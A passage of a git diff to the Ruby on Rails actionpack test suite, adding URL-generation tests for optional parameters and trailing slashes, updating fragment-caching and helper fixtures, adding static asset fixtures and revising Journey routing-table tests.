+      get "(/optional/:optional_id)/baz", to: "my_route_generating#index", as: :baz
+      get "/add_trailing_slash", to: "my_route_generating#add_trailing_slash", as: :add_trailing_slash
+      get "/trailing_slash_default", to: "my_route_generating#trailing_slash_default", as: :trailing_slash_default, trailing_slash: true
 
       resources :bars
 
@@ -53,6 +70,17 @@ def app
       assert_equal "http://www.example.com/foo", foo_url(protocol: "http")
     end
 
+    test "respects secure_protocol configuration when protocol not present" do
+      old_secure_protocol = ActionDispatch::Http::URL.secure_protocol
+
+      begin
+        ActionDispatch::Http::URL.secure_protocol = true
+        assert_equal "https://www.example.com/foo", foo_url(protocol: nil)
+      ensure
+        ActionDispatch::Http::URL.secure_protocol = old_secure_protocol
+      end
+    end
+
     test "extracting protocol from host when protocol not present" do
       assert_equal "httpz://www.example.com/foo", foo_url(host: "httpz://www.example.com", protocol: nil)
     end
@@ -114,7 +142,86 @@ def app
       assert_equal "http://example.com/foo", foo_url(subdomain: "")
     end
 
+    test "keep optional path parameter when given" do
+      assert_equal "http://www.example.com/optional/123/baz", baz_url(optional_id: 123)
+    end
+
+    test "keep optional path parameter when true" do
+      assert_equal "http://www.example.com/optional/true/baz", baz_url(optional_id: true)
+    end
+
+    test "omit optional path parameter when false" do
+      assert_equal "http://www.example.com/optional/false/baz", baz_url(optional_id: false)
+    end
+
+    test "omit optional path parameter when blank" do
+      assert_equal "http://www.example.com/baz", baz_url(optional_id: "")
+    end
+
+    test "keep positional path parameter when true" do
+      assert_equal "http://www.example.com/optional/true/baz", baz_url(true)
+    end
+
+    test "omit positional path parameter when false" do
+      assert_equal "http://www.example.com/optional/false/baz", baz_url(false)
+    end
+
+    test "omit positional path parameter when blank" do
+      assert_equal "http://www.example.com/baz", baz_url("")
+    end
+
+    test "generating the current URL with a trailing slashes" do
+      get "/add_trailing_slash"
+      assert_equal "http://www.example.com/add_trailing_slash/", response.body
+    end
+
+    test "generating the current URL with a trailing slashes and query string" do
+      get "/add_trailing_slash?a=b"
+      assert_equal "http://www.example.com/add_trailing_slash/?a=b", response.body
+    end
+
+    test "generating the current URL with a trailing slashes and format indicator" do
+      get "/add_trailing_slash.json"
+      assert_equal "http://www.example.com/add_trailing_slash.json", response.body
+    end
+
+    test "generating the path with `trailing_slashes: true` default options" do
+      get "/trailing_slash_default"
+      assert_equal "/trailing_slash_default/", response.body
+
+      get "/trailing_slash_default?url=1"
+      assert_equal "http://www.example.com/trailing_slash_default/", response.body
+    end
+
+    test "generating the path with `trailing_slashes: true` default options and format" do
+      get "/trailing_slash_default?url_format=json"
+      assert_equal "/trailing_slash_default.json", response.body
+
+      get "/trailing_slash_default?url=1&url_format=json"
+      assert_equal "http://www.example.com/trailing_slash_default.json", response.body
+    end
+
     test "generating URLs with trailing slashes" do
+      assert_equal "/bars/", bars_path(
+        trailing_slash: true,
+      )
+    end
+
+    test "generating URLs with trailing slashes and dot including param" do
+      assert_equal "/bars/hax0r.json/", bar_path(
+        "hax0r.json",
+        trailing_slash: true,
+      )
+    end
+
+    test "generating URLs with trailing slashes and query string" do
+      assert_equal "/bars/?a=b", bars_path(
+        trailing_slash: true,
+        a: "b"
+      )
+    end
+
+    test "generating URLs with trailing slashes and format" do
       assert_equal "/bars.json", bars_path(
         trailing_slash: true,
         format: "json"
diff --git a/actionpack/test/fixtures/alternate_helpers/foo_helper.rb b/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
index 25285844733fd..c1a995af5f8c2 100644
--- a/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
+++ b/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module FooHelper
-  redefine_method(:baz) {}
+  redefine_method(:baz) { }
 end
diff --git a/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb b/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb
deleted file mode 100644
index d22af431ec27f..0000000000000
--- a/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= greeting %> bad customer: <%= bad_customer.name %><%= bad_customer_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/company.rb b/actionpack/test/fixtures/company.rb
index 9f527acdd8978..93afdd5472f49 100644
--- a/actionpack/test/fixtures/company.rb
+++ b/actionpack/test/fixtures/company.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Company < ActiveRecord::Base
   has_one :mascot
   self.sequence_name = :companies_nonstd_seq
diff --git a/actionpack/test/fixtures/functional_caching/_formatted_partial.html.erb b/actionpack/test/fixtures/functional_caching/_formatted_partial.html.erb
new file mode 100644
index 0000000000000..aad73c0d6b79a
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/_formatted_partial.html.erb
@@ -0,0 +1 @@
+<p>Hello!</p>
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb
index 9b88fa1f5a8dc..dfcd423978960 100644
--- a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb
@@ -1,3 +1,3 @@
 <body>
-<%= cache do %><p>ERB</p><% end %>
+<%= cache("fragment") do %><p>ERB</p><% end %>
 </body>
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder
index efdcc28e0f729..65995797403bc 100644
--- a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder
@@ -1,5 +1,5 @@
 xml.body do
-  cache do
+  cache("fragment") do
     xml.p "Builder"
   end
 end
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
index e523b74ae3a0b..abf7017ce6217 100644
--- a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
@@ -1,3 +1,3 @@
 <body>
-<%= cache do %><p>PHONE</p><% end %>
+<%= cache("fragment") do %><p>PHONE</p><% end %>
 </body>
diff --git a/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
index fa5e6bd318670..1148d83ad7ed2 100644
--- a/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
+++ b/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
@@ -1,3 +1,3 @@
 Hello
-<%= cache do %>This bit's fragment cached<% end %>
+<%= cache "fragment" do %>This bit's fragment cached<% end %>
 <%= 'Ciao' %>
diff --git a/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb b/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb
index a9462d3499814..d81c5a1b61ca1 100644
--- a/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb
+++ b/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb
@@ -1 +1 @@
-<%= render :partial => 'partial' %>
\ No newline at end of file
+<%= render partial: 'partial' %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb
index 41647f1404ced..bc8decb97271c 100644
--- a/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb
+++ b/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb
@@ -1,2 +1,2 @@
-<%= render :inline => 'Some inline content' %>
+<%= render inline: 'Some inline content' %>
 <%= cache do %>Some cached content<% end %>
diff --git a/actionpack/test/fixtures/functional_caching/xml_fragment_cached_with_html_partial.xml.builder b/actionpack/test/fixtures/functional_caching/xml_fragment_cached_with_html_partial.xml.builder
new file mode 100644
index 0000000000000..2bdda3af18bed
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/xml_fragment_cached_with_html_partial.xml.builder
@@ -0,0 +1,5 @@
+cache do
+  xml.title "Hello!"
+end
+
+xml.body cdata_section(render("formatted_partial"))
diff --git a/actionpack/test/fixtures/helpers/abc_helper.rb b/actionpack/test/fixtures/helpers/abc_helper.rb
index cf2774bb5f487..999b9b5c6e4c8 100644
--- a/actionpack/test/fixtures/helpers/abc_helper.rb
+++ b/actionpack/test/fixtures/helpers/abc_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module AbcHelper
   def bare_a() end
 end
diff --git a/actionpack/test/fixtures/helpers/fun/games_helper.rb b/actionpack/test/fixtures/helpers/fun/games_helper.rb
index 2d5e50f5a5f70..8b325927f3f63 100644
--- a/actionpack/test/fixtures/helpers/fun/games_helper.rb
+++ b/actionpack/test/fixtures/helpers/fun/games_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Fun
   module GamesHelper
     def stratego() "Iz guuut!" end
diff --git a/actionpack/test/fixtures/helpers/fun/pdf_helper.rb b/actionpack/test/fixtures/helpers/fun/pdf_helper.rb
index 16057fd466470..7ce6591de3555 100644
--- a/actionpack/test/fixtures/helpers/fun/pdf_helper.rb
+++ b/actionpack/test/fixtures/helpers/fun/pdf_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Fun
   module PdfHelper
     def foobar() "baz" end
diff --git a/actionpack/test/fixtures/helpers/just_me_helper.rb b/actionpack/test/fixtures/helpers/just_me_helper.rb
index 9b43fc6d4962b..bd977a22d97fe 100644
--- a/actionpack/test/fixtures/helpers/just_me_helper.rb
+++ b/actionpack/test/fixtures/helpers/just_me_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module JustMeHelper
   def me() "mine!" end
 end
diff --git a/actionpack/test/fixtures/helpers/me_too_helper.rb b/actionpack/test/fixtures/helpers/me_too_helper.rb
index 8e312e7cd094f..c6fc053dee4e3 100644
--- a/actionpack/test/fixtures/helpers/me_too_helper.rb
+++ b/actionpack/test/fixtures/helpers/me_too_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module MeTooHelper
   def me() "me too!" end
 end
diff --git a/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb b/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb
index 9faa4277363e8..cf75b6875e324 100644
--- a/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb
+++ b/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Pack1Helper
   def conflicting_helper
     "pack1"
diff --git a/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb b/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb
index cf56697dfb8de..c8e51d40a248c 100644
--- a/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb
+++ b/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Pack2Helper
   def conflicting_helper
     "pack2"
diff --git a/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb b/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb
index 64aa1a0476446..0455e26b93b0d 100644
--- a/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb
+++ b/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Admin
   module UsersHelpeR
   end
diff --git a/actionpack/test/fixtures/layouts/builder.builder b/actionpack/test/fixtures/layouts/builder.builder
index 7c7d4b2dd13ad..c55488edd05c1 100644
--- a/actionpack/test/fixtures/layouts/builder.builder
+++ b/actionpack/test/fixtures/layouts/builder.builder
@@ -1,3 +1,3 @@
 xml.wrapper do
   xml << yield
-end
\ No newline at end of file
+end
diff --git a/actionpack/test/fixtures/layouts/with_html_partial.html.erb b/actionpack/test/fixtures/layouts/with_html_partial.html.erb
index fd2896aeaa915..e84401f360803 100644
--- a/actionpack/test/fixtures/layouts/with_html_partial.html.erb
+++ b/actionpack/test/fixtures/layouts/with_html_partial.html.erb
@@ -1 +1 @@
-<%= render :partial => "partial_only_html" %><%= yield %>
+<%= render partial: "partial_only_html" %><%= yield %>
diff --git a/actionpack/test/fixtures/load_me.rb b/actionpack/test/fixtures/load_me.rb
index e516512a4e465..efafe6898fe6f 100644
--- a/actionpack/test/fixtures/load_me.rb
+++ b/actionpack/test/fixtures/load_me.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class LoadMe
 end
diff --git a/actionpack/test/fixtures/localized/hello_world.de_AT.html b/actionpack/test/fixtures/localized/hello_world.de_AT.html
new file mode 100644
index 0000000000000..3b6e180261129
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.de_AT.html
@@ -0,0 +1 @@
+Guten Morgen
\ No newline at end of file
diff --git a/actionpack/test/fixtures/old_content_type/render_default_for_builder.builder b/actionpack/test/fixtures/old_content_type/render_default_for_builder.builder
index 598d62e2fca55..15c8a7f5cf9bd 100644
--- a/actionpack/test/fixtures/old_content_type/render_default_for_builder.builder
+++ b/actionpack/test/fixtures/old_content_type/render_default_for_builder.builder
@@ -1 +1 @@
-xml.p "Hello world!"
\ No newline at end of file
+xml.p "Hello world!"
diff --git "a/actionpack/test/fixtures/public/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html" "b/actionpack/test/fixtures/public/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html"
new file mode 100644
index 0000000000000..627bb2469f636
--- /dev/null
+++ "b/actionpack/test/fixtures/public/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html"
@@ -0,0 +1 @@
+means goodbye in Japanese
diff --git "a/actionpack/test/fixtures/public/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html.gz" "b/actionpack/test/fixtures/public/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html.gz"
new file mode 100644
index 0000000000000..4f484cfe86846
Binary files /dev/null and "b/actionpack/test/fixtures/public/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html.gz" differ
diff --git a/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js.br b/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js.br
new file mode 100644
index 0000000000000..83088e506734f
Binary files /dev/null and b/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js.br differ
diff --git a/actionpack/test/fixtures/public/gzip/logo-bcb6d75d927347158af5.svg b/actionpack/test/fixtures/public/gzip/logo-bcb6d75d927347158af5.svg
new file mode 100644
index 0000000000000..a63aa6d1672c9
--- /dev/null
+++ b/actionpack/test/fixtures/public/gzip/logo-bcb6d75d927347158af5.svg
@@ -0,0 +1 @@
+<svg height="155" viewBox="0 0 411 155" width="411" xmlns="http://www.w3.org/2000/svg"><g fill="#c00" fill-rule="evenodd" transform="translate(8 8)"><path d="m344.6 121.5v18.1h32.7c6.7 0 18.2-4.9 18.6-18.6v-7c0-11.7-9.6-18.6-18.6-18.6h-16.3v-8.4h32.3v-18.2h-31c-8 0-18.7 6.6-18.7 18.9v6.3c0 12.3 10.6 18.6 18.7 18.6 22.5.1-5.4 0 15.4 0v8.8m-208.3-4.3s17.5-1.5 17.5-24.1-21.2-24.7-21.2-24.7h-38.2v71.3h19.2v-17.2l16.6 17.2h28.4zm-7.4-14.6h-15.3v-16.3h15.4s4.3 1.6 4.3 8.1-4.4 8.2-4.4 8.2zm72.3-33.7h-19.5c-13.9 0-18.6 12.6-18.6 18.6v52.2h19.5v-12.5h18.3v12.5h18.9v-52.2c0-15.2-13.8-18.6-18.6-18.6zm-.3 38.1h-18.4v-17.3s0-3.9 6.1-3.9h6.7c5.4 0 5.5 3.9 5.5 3.9v17.3z"/><path d="m261.8 68.8h20.3v70.8h-20.3z"/><path d="m310.6 121.3v-52.5h-20.2v52.5 18.3h20.2 27.3v-18.3z"/><path d="m7 139.6h79s-15.1-68.9 34.9-96.8c10.9-5.3 45.6-25.1 102.4 16.9 1.8-1.5 3.5-2.7 3.5-2.7s-52-51.9-109.9-46.1c-29.1 2.6-64.9 29.1-85.9 64.1s-24 64.6-24 64.6z"/><path d="m7 139.6h79s-15.1-68.9 34.9-96.8c10.9-5.3 45.6-25.1 102.4 16.9 1.8-1.5 3.5-2.7 3.5-2.7s-52-51.9-109.9-46.1c-29.1 2.6-64.9 29.1-85.9 64.1s-24 64.6-24 64.6z"/><path d="m7 139.6h79s-15.1-68.9 34.9-96.8c10.9-5.3 45.6-25.1 102.4 16.9 1.8-1.5 3.5-2.7 3.5-2.7s-52-51.9-109.9-46.1c-29.2 2.6-65 29.1-86 64.1s-23.9 64.6-23.9 64.6zm164.6-123.1.4-6.7c-.9-.5-3.4-1.7-9.7-3.5l-.4 6.6c3.3 1.1 6.5 2.3 9.7 3.6z"/><path d="m162.1 37.7-.4 6.3c3.3.1 6.6.5 9.9 1.2l.4-6.2c-3.4-.7-6.7-1.1-9.9-1.3zm-37-31.2h1l-2-6.1c-3.1 0-6.3.2-9.6.6l1.9 5.9c2.9-.3 5.8-.4 8.7-.4zm4.8 36.8 2.3 6.9c2.9-1.4 5.8-2.6 8.7-3.5l-2.2-6.6c-3.4 1-6.3 2.1-8.8 3.2zm-45.4-26.3-4.5-6.9c-2.5 1.3-5.1 2.7-7.8 4.3l4.6 7c2.6-1.6 5.1-3.1 7.7-4.4zm20.5 45 4.8 7.2c1.7-2.5 3.7-4.8 5.9-7.1l-4.5-6.8c-2.3 2.1-4.4 4.4-6.2 6.7zm-14.5 32.2 8.1 6.4c.4-3.9 1.1-7.8 2.1-11.7l-7.2-5.7c-1.3 3.7-2.2 7.4-3 11zm-43.8-47.5-7.1-6.2c-2.6 2.5-5.1 5-7.4 7.5l7.7 6.6c2.1-2.7 4.4-5.4 6.8-7.9zm-30.2 44.7-11.5-4.2c-1.9 4.3-4 9.3-5 12l11.5 4.2c1.3-3.4 3.4-8.3 5-12zm72.5 28.2c.2 5.3.7 9.6 1.2 12.6l12 4.3c-.9-3.9-1.8-8.3-2.4-13z"/></g></svg>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/gzip/logo-bcb6d75d927347158af5.svg.gz b/actionpack/test/fixtures/public/gzip/logo-bcb6d75d927347158af5.svg.gz
new file mode 100644
index 0000000000000..60a6e063ec560
Binary files /dev/null and b/actionpack/test/fixtures/public/gzip/logo-bcb6d75d927347158af5.svg.gz differ
diff --git a/actionpack/test/fixtures/respond_to/using_defaults.xml.builder b/actionpack/test/fixtures/respond_to/using_defaults.xml.builder
index 598d62e2fca55..15c8a7f5cf9bd 100644
--- a/actionpack/test/fixtures/respond_to/using_defaults.xml.builder
+++ b/actionpack/test/fixtures/respond_to/using_defaults.xml.builder
@@ -1 +1 @@
-xml.p "Hello world!"
\ No newline at end of file
+xml.p "Hello world!"
diff --git a/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder b/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder
index 598d62e2fca55..15c8a7f5cf9bd 100644
--- a/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder
+++ b/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder
@@ -1 +1 @@
-xml.p "Hello world!"
\ No newline at end of file
+xml.p "Hello world!"
diff --git a/actionpack/test/fixtures/ruby_template.ruby b/actionpack/test/fixtures/ruby_template.ruby
index 5097bce47c098..3e0bc445a2b61 100644
--- a/actionpack/test/fixtures/ruby_template.ruby
+++ b/actionpack/test/fixtures/ruby_template.ruby
@@ -1,2 +1,2 @@
-body = ""
+body = +""
 body << ["Hello", "from", "Ruby", "code"].join(" ")
diff --git a/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb b/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb
index 18fa5cd923bd5..deb81c647dd18 100644
--- a/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb
+++ b/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module SessionAutoloadTest
   class Foo
     def initialize(bar = "baz")
diff --git a/actionpack/test/fixtures/test/formatted_xml_erb.builder b/actionpack/test/fixtures/test/formatted_xml_erb.builder
deleted file mode 100644
index 14fd3549fbcdb..0000000000000
--- a/actionpack/test/fixtures/test/formatted_xml_erb.builder
+++ /dev/null
@@ -1 +0,0 @@
-xml.test 'failed'
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/formatted_xml_erb.html.erb b/actionpack/test/fixtures/test/formatted_xml_erb.html.erb
deleted file mode 100644
index 0c855a604bc1e..0000000000000
--- a/actionpack/test/fixtures/test/formatted_xml_erb.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<test>passed formatted html erb</test>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_xml_world.builder b/actionpack/test/fixtures/test/hello_xml_world.builder
index e7081b89feb6a..d16bb6b5cbd68 100644
--- a/actionpack/test/fixtures/test/hello_xml_world.builder
+++ b/actionpack/test/fixtures/test/hello_xml_world.builder
@@ -8,4 +8,4 @@ xml.html do
     xml.p "monks"
     xml.p "wiseguys"
   end
-end
\ No newline at end of file
+end
diff --git "a/actionpack/test/fixtures/\345\205\254\345\205\261/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html" "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html"
new file mode 100644
index 0000000000000..627bb2469f636
--- /dev/null
+++ "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html"
@@ -0,0 +1 @@
+means goodbye in Japanese
diff --git "a/actionpack/test/fixtures/\345\205\254\345\205\261/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html.gz" "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html.gz"
new file mode 100644
index 0000000000000..4f484cfe86846
Binary files /dev/null and "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/\343\201\225\343\202\210\343\201\206\343\201\252\343\202\211.html.gz" differ
diff --git "a/actionpack/test/fixtures/\345\205\254\345\205\261/gzip/application-a71b3024f80aea3181c09774ca17e712.js.br" "b/actionpack/test/fixtures/\345\205\254\345\205\261/gzip/application-a71b3024f80aea3181c09774ca17e712.js.br"
new file mode 100644
index 0000000000000..83088e506734f
Binary files /dev/null and "b/actionpack/test/fixtures/\345\205\254\345\205\261/gzip/application-a71b3024f80aea3181c09774ca17e712.js.br" differ
diff --git "a/actionpack/test/fixtures/\345\205\254\345\205\261/gzip/logo-bcb6d75d927347158af5.svg" "b/actionpack/test/fixtures/\345\205\254\345\205\261/gzip/logo-bcb6d75d927347158af5.svg"
new file mode 100644
index 0000000000000..a63aa6d1672c9
--- /dev/null
+++ "b/actionpack/test/fixtures/\345\205\254\345\205\261/gzip/logo-bcb6d75d927347158af5.svg"
@@ -0,0 +1 @@
+<svg height="155" viewBox="0 0 411 155" width="411" xmlns="http://www.w3.org/2000/svg"><g fill="#c00" fill-rule="evenodd" transform="translate(8 8)"><path d="m344.6 121.5v18.1h32.7c6.7 0 18.2-4.9 18.6-18.6v-7c0-11.7-9.6-18.6-18.6-18.6h-16.3v-8.4h32.3v-18.2h-31c-8 0-18.7 6.6-18.7 18.9v6.3c0 12.3 10.6 18.6 18.7 18.6 22.5.1-5.4 0 15.4 0v8.8m-208.3-4.3s17.5-1.5 17.5-24.1-21.2-24.7-21.2-24.7h-38.2v71.3h19.2v-17.2l16.6 17.2h28.4zm-7.4-14.6h-15.3v-16.3h15.4s4.3 1.6 4.3 8.1-4.4 8.2-4.4 8.2zm72.3-33.7h-19.5c-13.9 0-18.6 12.6-18.6 18.6v52.2h19.5v-12.5h18.3v12.5h18.9v-52.2c0-15.2-13.8-18.6-18.6-18.6zm-.3 38.1h-18.4v-17.3s0-3.9 6.1-3.9h6.7c5.4 0 5.5 3.9 5.5 3.9v17.3z"/><path d="m261.8 68.8h20.3v70.8h-20.3z"/><path d="m310.6 121.3v-52.5h-20.2v52.5 18.3h20.2 27.3v-18.3z"/><path d="m7 139.6h79s-15.1-68.9 34.9-96.8c10.9-5.3 45.6-25.1 102.4 16.9 1.8-1.5 3.5-2.7 3.5-2.7s-52-51.9-109.9-46.1c-29.1 2.6-64.9 29.1-85.9 64.1s-24 64.6-24 64.6z"/><path d="m7 139.6h79s-15.1-68.9 34.9-96.8c10.9-5.3 45.6-25.1 102.4 16.9 1.8-1.5 3.5-2.7 3.5-2.7s-52-51.9-109.9-46.1c-29.1 2.6-64.9 29.1-85.9 64.1s-24 64.6-24 64.6z"/><path d="m7 139.6h79s-15.1-68.9 34.9-96.8c10.9-5.3 45.6-25.1 102.4 16.9 1.8-1.5 3.5-2.7 3.5-2.7s-52-51.9-109.9-46.1c-29.2 2.6-65 29.1-86 64.1s-23.9 64.6-23.9 64.6zm164.6-123.1.4-6.7c-.9-.5-3.4-1.7-9.7-3.5l-.4 6.6c3.3 1.1 6.5 2.3 9.7 3.6z"/><path d="m162.1 37.7-.4 6.3c3.3.1 6.6.5 9.9 1.2l.4-6.2c-3.4-.7-6.7-1.1-9.9-1.3zm-37-31.2h1l-2-6.1c-3.1 0-6.3.2-9.6.6l1.9 5.9c2.9-.3 5.8-.4 8.7-.4zm4.8 36.8 2.3 6.9c2.9-1.4 5.8-2.6 8.7-3.5l-2.2-6.6c-3.4 1-6.3 2.1-8.8 3.2zm-45.4-26.3-4.5-6.9c-2.5 1.3-5.1 2.7-7.8 4.3l4.6 7c2.6-1.6 5.1-3.1 7.7-4.4zm20.5 45 4.8 7.2c1.7-2.5 3.7-4.8 5.9-7.1l-4.5-6.8c-2.3 2.1-4.4 4.4-6.2 6.7zm-14.5 32.2 8.1 6.4c.4-3.9 1.1-7.8 2.1-11.7l-7.2-5.7c-1.3 3.7-2.2 7.4-3 11zm-43.8-47.5-7.1-6.2c-2.6 2.5-5.1 5-7.4 7.5l7.7 6.6c2.1-2.7 4.4-5.4 6.8-7.9zm-30.2 44.7-11.5-4.2c-1.9 4.3-4 9.3-5 12l11.5 4.2c1.3-3.4 3.4-8.3 5-12zm72.5 28.2c.2 5.3.7 9.6 1.2 12.6l12 4.3c-.9-3.9-1.8-8.3-2.4-13z"/></g></svg>
\ No newline at end of file
diff --git "a/actionpack/test/fixtures/\345\205\254\345\205\261/gzip/logo-bcb6d75d927347158af5.svg.gz" "b/actionpack/test/fixtures/\345\205\254\345\205\261/gzip/logo-bcb6d75d927347158af5.svg.gz"
new file mode 100644
index 0000000000000..60a6e063ec560
Binary files /dev/null and "b/actionpack/test/fixtures/\345\205\254\345\205\261/gzip/logo-bcb6d75d927347158af5.svg.gz" differ
diff --git a/actionpack/test/journey/gtg/builder_test.rb b/actionpack/test/journey/gtg/builder_test.rb
index aa8427b2650ab..4f064779e4f3a 100644
--- a/actionpack/test/journey/gtg/builder_test.rb
+++ b/actionpack/test/journey/gtg/builder_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionDispatch
@@ -6,13 +8,13 @@ module GTG
       class TestBuilder < ActiveSupport::TestCase
         def test_following_states_multi
           table = tt ["a|a"]
-          assert_equal 1, table.move([0], "a").length
+          assert_equal 1, table.move([0, nil], "a", "a", 0, true).each_slice(2).count
         end
 
         def test_following_states_multi_regexp
           table = tt [":a|b"]
-          assert_equal 1, table.move([0], "fooo").length
-          assert_equal 2, table.move([0], "b").length
+          assert_equal 1, table.move([0, nil], "fooo", "fooo", 0, true).each_slice(2).count
+          assert_equal 2, table.move([0, nil], "b", "b", 0, true).each_slice(2).count
         end
 
         def test_multi_path
@@ -23,9 +25,9 @@ def test_multi_path
             [2, "b"],
             [2, "/"],
             [1, "c"],
-          ].inject([0]) { |state, (exp, sym)|
-            new = table.move(state, sym)
-            assert_equal exp, new.length
+          ].inject([0, nil]) { |state, (exp, sym)|
+            new = table.move(state, sym, sym, 0, sym != "/")
+            assert_equal exp, new.each_slice(2).count
             new
           }
         end
@@ -38,10 +40,10 @@ def test_match_data_ambiguous
             /articles/:id(.:format)
           }
 
-          sim = NFA::Simulator.new table
+          sim = Simulator.new table
 
-          match = sim.match "/articles/new"
-          assert_equal 2, match.memos.length
+          memos = sim.memos "/articles/new"
+          assert_equal 2, memos.length
         end
 
         ##
@@ -52,10 +54,27 @@ def test_match_same_paths
             /articles/new(.:format)
           }
 
-          sim = NFA::Simulator.new table
+          sim = Simulator.new table
+
+          memos = sim.memos "/articles/new"
+          assert_equal 2, memos.length
+        end
+
+        def test_catchall
+          table = tt %w{
+            /
+            /*unmatched_route
+          }
+
+          sim = Simulator.new table
+
+          # matches just the /*unmatched_route
+          memos = sim.memos "/test"
+          assert_equal 1, memos.length
 
-          match = sim.match "/articles/new"
-          assert_equal 2, match.memos.length
+          # matches just the /
+          memos = sim.memos "/"
+          assert_equal 1, memos.length
         end
 
         private
diff --git a/actionpack/test/journey/gtg/transition_table_test.rb b/actionpack/test/journey/gtg/transition_table_test.rb
index c7315c0338692..7394764a4c8f9 100644
--- a/actionpack/test/journey/gtg/transition_table_test.rb
+++ b/actionpack/test/journey/gtg/transition_table_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/json/decoding"
 
@@ -19,7 +21,7 @@ def test_to_json
           assert json["accepting"]
